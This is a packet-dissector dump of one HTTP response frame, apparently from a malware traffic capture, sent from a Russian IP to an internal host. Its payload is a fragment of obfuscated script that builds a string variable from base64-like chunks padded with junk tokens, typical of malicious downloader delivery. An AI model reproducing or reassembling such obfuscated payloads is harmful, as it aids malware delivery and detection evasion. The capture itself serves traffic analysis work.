Frame 265: Packet, 1328 bytes on wire (10624 bits), 1328 bytes captured (10624 bits) Encapsulation type: Ethernet (1) Arrival Time: Nov 21, 2017 01:00:43.758587000 UTC UTC Arrival Time: Nov 21, 2017 01:00:43.758587000 UTC Epoch Arrival Time: 1511226043.758587000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 214.000 microseconds] [Time since reference or first frame: 37.892847000 seconds] Frame Number: 265 Frame Length: 1328 bytes (10624 bits) Capture Length: 1328 bytes (10624 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:http:data] Character encoding: ASCII (0) Ethernet II, Src: Netgear_8d:2e:93 (74:44:01:8d:2e:93), Dst: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) Destination: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Netgear_8d:2e:93 (74:44:01:8d:2e:93) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Internet Protocol Version 4, Src: 109.120.150.110, Dst: 10.4.1.102 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 1314 Identification: 0xc9ea (51690) 000. .... = Flags: 0x0 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 128 Protocol: TCP (6) Header Checksum: 0x5c9b [validation disabled] [Header checksum status: Unverified] Source Address: 109.120.150.110 Destination Address: 10.4.1.102 [Source GeoIP: RU] [Source GeoIP Country: Russia] [Source or Destination GeoIP Country: Russia] [Source GeoIP ISO Two Letter Country Code: RU] [Source or Destination GeoIP ISO Two Letter Country Code: RU] [Source GeoIP Latitude: 55.7386] [Source or Destination GeoIP Latitude: 55.7386] [Source GeoIP Longitude: 37.6068] [Source or Destination GeoIP Longitude: 37.6068] [Stream index: 9] Transmission Control Protocol, Src Port: 80, Dst Port: 49161, Seq: 140625, Ack: 1678, Len: 1274 Source Port: 80 Destination Port: 49161 [Stream index: 4] [Stream Packet Number: 179] [Conversation completeness: Incomplete, DATA (15)] ..0. .... = RST: Absent ...0 .... = FIN: Absent .... 1... = Data: Present .... .1.. = ACK: Present .... ..1. = SYN-ACK: Present .... ...1 = SYN: Present [Completeness Flags: ··DASS] [TCP Segment Len: 1274] Sequence Number: 140625 (relative sequence number) Sequence Number (raw): 3620213040 [Next Sequence Number: 141899 (relative sequence number)] Acknowledgment Number: 1678 (relative ack number) Acknowledgment number (raw): 2557490690 0101 .... = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 1... = Push: Set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······AP···] Window: 64240 [Calculated window size: 64240] [Window size scaling factor: -2 (no window scaling used)] Checksum: 0x5cb4 [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 1.539717000 seconds] [Time since previous frame in this TCP stream: 214.000 microseconds] [SEQ/ACK analysis] [iRTT: 184.943000 milliseconds] [Bytes in flight: 1274] [Bytes sent since last PSH flag: 1274] [Client Contiguous Streams: 1] [Server Contiguous Streams: 1] TCP payload (1274 bytes) Hypertext Transfer Protocol File Data: 1274 bytes Data (1274 bytes) 0000 3b 67 6f 78 65 2b 3d 27 4e 6c 62 33 6c 31 50 27 ;goxe+='Nlb3l1P' 0010 3b 67 6f 78 65 2b 3d 27 51 41 70 48 68 57 2b 47 ;goxe+='QApHhW+G 0020 75 27 3b 67 6f 78 65 2b 3d 27 2f 73 37 33 4b 38 u';goxe+='/s73K8 0030 30 27 3b 67 6f 78 65 2b 3d 27 38 4a 67 47 51 27 0';goxe+='8JgGQ' 0040 3b 67 6f 78 65 2b 3d 27 32 75 42 70 4e 49 76 43 ;goxe+='2uBpNIvC 0050 27 3b 67 6f 78 65 2b 3d 27 36 6f 68 49 65 37 77 ';goxe+='6ohIe7w 0060 38 57 27 3b 67 6f 78 65 2b 3d 27 6a 2b 51 4a 38 8W';goxe+='j+QJ8 0070 27 3b 67 6f 78 65 2b 3d 27 37 44 46 6d 56 4a 52 ';goxe+='7DFmVJR 0080 43 66 57 27 3b 67 6f 78 65 2b 3d 27 69 4a 64 41 CfW';goxe+='iJdA 0090 6b 72 6c 27 3b 67 6f 78 65 2b 3d 27 70 4a 33 4d krl';goxe+='pJ3M 00a0 52 63 31 4b 49 30 27 3b 67 6f 78 65 2b 3d 27 68 Rc1KI0';goxe+='h 00b0 6c 52 6c 69 62 56 52 6f 27 3b 67 6f 78 65 2b 3d lRlibVRo';goxe+= 00c0 27 6a 71 79 31 63 37 68 44 43 4f 27 3b 67 6f 78 'jqy1c7hDCO';gox 00d0 65 2b 3d 27 4d 50 41 54 5f 4d 4f 44 27 3b 67 6f e+='MPAT_MOD';go 00e0 78 65 2b 3d 27 45 43 4f 4d 50 27 3b 67 6f 78 65 xe+='ECOMP';goxe 00f0 2b 3d 27 41 54 5f 4d 4f 44 45 62 45 27 3b 67 6f +='AT_MODEbE';go 0100 78 65 2b 3d 27 6c 38 4d 64 6c 54 5a 6d 27 3b 67 xe+='l8MdlTZm';g 0110 6f 78 65 2b 3d 27 76 4f 70 2b 57 49 37 58 6d 47 oxe+='vOp+WI7XmG 0120 27 3b 67 6f 78 65 2b 3d 27 34 43 4f 4d 50 27 3b ';goxe+='4COMP'; 0130 67 6f 78 65 2b 3d 27 41 54 5f 4d 4f 44 45 57 27 goxe+='AT_MODEW' 0140 3b 67 6f 78 65 2b 3d 27 69 4b 43 7a 4b 48 6f 34 ;goxe+='iKCzKHo4 0150 27 3b 67 6f 78 65 2b 3d 27 42 52 45 6c 6e 27 3b ';goxe+='BREln'; 0160 67 6f 78 65 2b 3d 27 71 77 6e 2f 4d 71 27 3b 67 goxe+='qwn/Mq';g 0170 6f 78 65 2b 3d 27 6c 55 70 42 5a 64 74 27 3b 67 oxe+='lUpBZdt';g 0180 6f 78 65 2b 3d 27 6a 74 42 54 77 66 79 54 46 27 oxe+='jtBTwfyTF' 0190 3b 67 6f 78 65 2b 3d 27 78 52 4e 35 52 44 4e 42 ;goxe+='xRN5RDNB 01a0 38 27 3b 67 6f 78 65 2b 3d 27 4c 65 48 37 2f 27 8';goxe+='LeH7/' 01b0 3b 67 6f 78 65 2b 3d 27 59 6d 73 37 4e 72 50 79 ;goxe+='Yms7NrPy 01c0 68 27 3b 67 6f 78 65 2b 3d 27 65 6c 37 33 67 65 h';goxe+='el73ge 01d0 6a 27 3b 67 6f 78 65 2b 3d 27 67 65 58 51 2f 6e j';goxe+='geXQ/n 01e0 27 3b 67 6f 78 65 2b 3d 27 67 7a 37 2b 6d 73 4b ';goxe+='gz7+msK 01f0 76 27 3b 67 6f 78 65 2b 3d 27 4e 66 37 51 68 38 v';goxe+='Nf7Qh8 0200 27 3b 67 6f 78 65 2b 3d 27 76 72 30 77 2b 4c 27 ';goxe+='vr0w+L' 0210 3b 67 6f 78 65 2b 3d 27 36 2b 6c 30 63 6a 30 66 ;goxe+='6+l0cj0f 0220 6e 73 27 3b 67 6f 78 65 2b 3d 27 44 50 41 6e 35 ns';goxe+='DPAn5 0230 57 31 2f 4d 27 3b 67 6f 78 65 2b 3d 27 31 66 46 W1/M';goxe+='1fF 0240 37 44 35 7a 56 2b 27 3b 67 6f 78 65 2b 3d 27 58 7D5zV+';goxe+='X 0250 6c 38 76 35 76 27 3b 67 6f 78 65 2b 3d 27 51 7a l8v5v';goxe+='Qz 0260 78 56 2b 58 31 34 73 27 3b 67 6f 78 65 2b 3d 27 xV+X14s';goxe+=' 0270 46 44 4d 39 69 73 43 4f 27 3b 67 6f 78 65 2b 3d FDM9isCO';goxe+= 0280 27 4d 50 41 54 5f 4d 4f 27 3b 67 6f 78 65 2b 3d 'MPAT_MO';goxe+= 0290 27 44 45 4a 66 2b 42 56 65 27 3b 67 6f 78 65 2b 'DEJf+BVe';goxe+ 02a0 3d 27 72 43 5a 44 2b 27 3b 67 6f 78 65 2b 3d 27 ='rCZD+';goxe+=' 02b0 6e 55 4a 76 38 36 27 3b 67 6f 78 65 2b 3d 27 75 nUJv86';goxe+='u 02c0 56 2b 73 42 2f 41 7a 68 27 3b 67 6f 78 65 2b 3d V+sB/Azh';goxe+= 02d0 27 5a 77 77 2f 48 36 35 27 3b 67 6f 78 65 2b 3d 'Zww/H65';goxe+= 02e0 27 58 6c 2f 44 39 45 72 35 66 27 3b 67 6f 78 65 'Xl/D9Er5f';goxe 02f0 2b 3d 27 41 74 44 6c 68 2b 27 3b 67 6f 78 65 2b +='AtDlh+';goxe+ 0300 3d 27 76 31 35 66 72 36 66 4c 36 41 27 3b 67 6f ='v15fr6fL6A';go 0310 78 65 2b 3d 27 6e 2f 58 31 68 33 35 77 2f 65 27 xe+='n/X1h35w/e' 0320 3b 67 6f 78 65 2b 3d 27 48 4d 68 35 2f 27 3b 67 ;goxe+='HMh5/';g 0330 6f 78 65 2b 3d 27 56 39 65 56 6b 41 44 39 54 2b oxe+='V9eVkAD9T+ 0340 27 3b 67 6f 78 65 2b 3d 27 46 6e 31 38 52 64 27 ';goxe+='Fn18Rd' 0350 3b 67 6f 78 65 2b 3d 27 2b 57 75 4d 50 66 27 3b ;goxe+='+WuMPf'; 0360 67 6f 78 65 2b 3d 27 62 69 45 58 78 2b 27 3b 67 goxe+='biEXx+';g 0370 6f 78 65 2b 3d 27 75 4c 77 46 58 38 4e 27 3b 67 oxe+='uLwFX8N';g 0380 6f 78 65 2b 3d 27 79 76 2b 7a 31 27 3b 67 6f 78 oxe+='yv+z1';gox 0390 65 2b 3d 27 67 70 4f 58 77 65 6e 41 39 27 3b 67 e+='gpOXwenA9';g 03a0 6f 78 65 2b 3d 27 6d 41 36 76 68 34 4e 54 36 27 oxe+='mA6vh4NT6' 03b0 3b 67 6f 78 65 2b 3d 27 4f 58 69 2b 6e 31 76 65 ;goxe+='OXi+n1ve 03c0 66 31 27 3b 67 6f 78 65 2b 3d 27 2b 64 62 33 73 f1';goxe+='+db3s 03d0 58 36 2f 67 79 27 3b 67 6f 78 65 2b 3d 27 65 72 X6/gy';goxe+='er 03e0 30 2b 71 4b 2f 75 69 36 27 3b 67 6f 78 65 2b 3d 0+qK/ui6';goxe+= 03f0 27 65 42 4e 65 6a 53 65 39 36 47 27 3b 67 6f 78 'eBNejSe96G';gox 0400 65 2b 3d 27 70 35 66 72 7a 36 4d 72 27 3b 67 6f e+='p5frz6Mr';go 0410 78 65 2b 3d 27 76 76 41 5a 6f 4d 27 3b 67 6f 78 xe+='vvAZoM';gox 0420 65 2b 3d 27 54 36 50 2f 37 69 27 3b 67 6f 78 65 e+='T6P/7i';goxe 0430 2b 3d 27 2b 73 54 49 4d 30 73 47 6c 27 3b 67 6f +='+sTIM0sGl';go 0440 78 65 2b 3d 27 30 76 67 4b 32 47 51 27 3b 67 6f xe+='0vgK2GQ';go 0450 78 65 2b 3d 27 4b 44 2b 36 48 71 30 27 3b 67 6f xe+='KD+6Hq0';go 0460 78 65 2b 3d 27 6e 46 36 50 2b 38 50 72 27 3b 67 xe+='nF6P+8Pr';g 0470 6f 78 65 2b 3d 27 79 58 42 30 50 62 30 27 3b 67 oxe+='yXB0Pb0';g 0480 6f 78 65 2b 3d 27 43 4f 4d 50 41 27 3b 67 6f 78 oxe+='COMPA';gox 0490 65 2b 3d 27 54 5f 4d 4f 44 27 3b 67 6f 78 65 2b e+='T_MOD';goxe+ 04a0 3d 27 45 77 73 2f 34 47 27 3b 67 6f 78 65 2b 3d ='Ews/4G';goxe+= 04b0 27 70 58 48 66 42 30 27 3b 67 6f 78 65 2b 3d 27 'pXHfB0';goxe+=' 04c0 4e 67 75 76 56 62 27 3b 67 6f 78 65 2b 3d 27 32 NguvVb';goxe+='2 04d0 43 30 52 55 58 78 46 34 6f 27 3b 67 6f 78 65 2b C0RUXxF4o';goxe+ 04e0 3d 27 73 65 72 39 64 72 2f 74 27 3b 67 6f 78 65 ='ser9dr/t';goxe 04f0 2b 3d 27 6e 31 2b 75 54 33 36 +='n1+uT36 Data […]: 3b676f78652b3d274e6c62336c3150273b676f78652b3d275141704868572b4775273b676f78652b3d272f7337334b3830273b676f78652b3d27384a674751273b676f78652b3d27327542704e497643273b676f78652b3d27366f68496537773857273b676f78652b3d276a2b514a38273 [Length: 1274]